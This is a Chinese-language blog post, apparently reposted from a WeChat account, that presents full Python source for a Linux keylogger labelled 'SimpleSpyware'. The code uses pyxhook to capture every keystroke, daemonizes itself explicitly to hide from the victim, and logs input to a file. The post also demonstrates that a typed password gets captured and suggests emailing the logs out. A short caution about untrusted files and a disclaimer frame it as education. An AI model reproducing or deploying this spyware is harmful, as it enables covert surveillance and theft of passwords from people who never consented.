有许多方式可以监视受害者。我们的间谍软件由键盘记录器代表,这是一个简单的程序,可以监视键盘上按下的键,并可以看到你输入的所有内容。这个键盘记录器在
keylogger.py
文件中实现。
原文地址:https://hackerchi.top/article/79ed93ce-54af-4d84-86f1-4e75bda469de.html
间谍软件
有许多方式可以监视受害者。我们的间谍软件由键盘记录器代表,这是一个简单的程序,可以监视键盘上按下的键,并可以看到你输入的所有内容。这个键盘记录器在keylogger.py
文件中实现。
行为演示
在执行键盘记录器(./keylogger.py
)之前,我们不需要任何特定的准备。我们可以观察到执行后什么都没有发生,我们可以输入新的命令,就像我们只按下Enter
键一样。现在你可以在你的系统上做任何你想做的事情。为了演示,你可以打开一个浏览器,输入像Passwd
这样的东西,代表你可能的密码,就像你在社交媒体的任何登录页面上做的那样。
现在你可以发现,在我们的键盘记录器所在的同一个文件夹中,有一个新的文件activity.log
。通过观察文件,你可以看到它包含了你在执行后按下的所有键,包括你的密码Passwd
。攻击者可以轻易地访问这些文件,并修改键盘记录器,将它们发送到特定的电子邮件地址,或者与不同类型的恶意软件结合,他可能通过网络直接访问它们。
Key: P
Key: a
Key: s
Key: s
Key: w
Key: d
创建键盘记录器是一个非常简单的过程,如下所述,任何人只要具备基本的编程知识和操作系统的理解就可以做到。这就是为什么我们在执行任何不常见或不受信任的文件时,应该始终保持警惕。
它是如何工作的?
-
首先,我们配置我们的记录器。我们可以指定应存储数据的文件以及消息的格式。
logging.basicConfig(
level=logging.DEBUG,
filename='activity.log',
format='Key: %(message)s',
)
-
然后我们必须获取日志文件处理器。我们将在下一步解释为什么。
handler = logging.getLogger().handlers[0].stream
-
为了使我们的间谍软件更难被受害者发现,我们希望它在后台作为守护进程运行。
要了解更多关于守护进程的信息,请参阅
守护进程指南。为此我们
将使用标准的Python模块daemon
,它将允许我们将我们的键盘记录器变为守护进程。
当守护进程被创建时,我们将失去对所有文件处理器的连接,如stdout
或甚至我们的日志文件,
除非我们指定这些文件应该被保留。这就是为什么我们在前一步获取了日志文件处理器。在我们的隐藏守护进程的上下文中,我们现在可以创建键盘记录器并开始其活动。# Daemonize the process to hide it from the victim.
with daemon.DaemonContext(files_preserve=[handler]):
# Create keylogger.
keylogger = Keylogger('SimpleSpyware')
# Start logging activity of the user.
keylogger.start_logging()
-
为了获取_key press events_,我们可以使用一个名为
pyxhook
的Linux的python模块。如果我们
要为Windows创建一个键盘记录器,我们应该使用pyHook
模块,但是它们的接口非常相似。我们创建一个hooking manager,它将管理事件处理,并允许我们为这些事件设置回调。回调在我们的情况下是一个每次获取新事件时都会被调用的函数(_keydown_callback)。这个方法唯一做的就是将键记录到我们指定的文件activity.log
中。hook_manager = pyxhook.HookManager()
# Assign callback for handling key strokes.
hook_manager.KeyDown = self._keydown_callback
# Hook the keyboard and start logging.
hook_manager.HookKeyboard()
hook_manager.start()
#!/usr/bin/env python3
""" Python中的简单键盘记录器实现。
"""
import daemon
import logging
import pyxhook
class Keylogger:
""" 这个类代表了代码注入的恶意软件。"""
def __init__(self, name):
self._name = name
@property
def name(self):
""" 恶意软件的名称。"""
return self._name
@name.setter
def name(self, new_name):
self._name = new_name
def start_logging(self):
""" 记录用户的每一个键盘击键到日志文件中。"""
# 创建钩子管理器。
hook_manager = pyxhook.HookManager()
# 分配回调以处理键盘击键。
hook_manager.KeyDown = self._keydown_callback
# 钩住键盘并开始记录。
hook_manager.HookKeyboard()
hook_manager.start()
def _keydown_callback(self, key):
""" 这个函数是键盘击键事件的处理器。"""
logging.debug(chr(key.Ascii))
if __name__ == '__main__':
# 设置日志记录器。
logging.basicConfig(
level=logging.DEBUG,
filename='activity.log',
format='Key: %(message)s',
)
# 获取文件处理器。我们需要将它传递给我们的守护进程。
handler = logging.getLogger().handlers[0].stream
# 将进程守护化以隐藏它从受害者。
with daemon.DaemonContext(files_preserve=[handler]):
# 创建键盘记录器。
keylogger = Keylogger('SimpleSpyware')
# 开始记录用户的活动。
keylogger.start_logging()
欢迎访问我们的网站和关注我们的公众号,获取最新的技术共享内容、创新想法和安全知识。
网站:hackerchi.top
微信公众号:黑客驰
💡
免责声明
本文为技术共享文章,仅有教育交流目的,不构成任何法律或专业建议。读者应自行承担使用该文章所产生的风险和责任。作者和组织不对使用该文章所引起的任何损失或损害负责。
本文严禁提供、讨论或鼓励任何网络安全违法行为。请遵守法律法规,进行合法的技术共享活动。
原文始发于微信公众号(黑客驰):恶意软件模型- 间谍软件
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论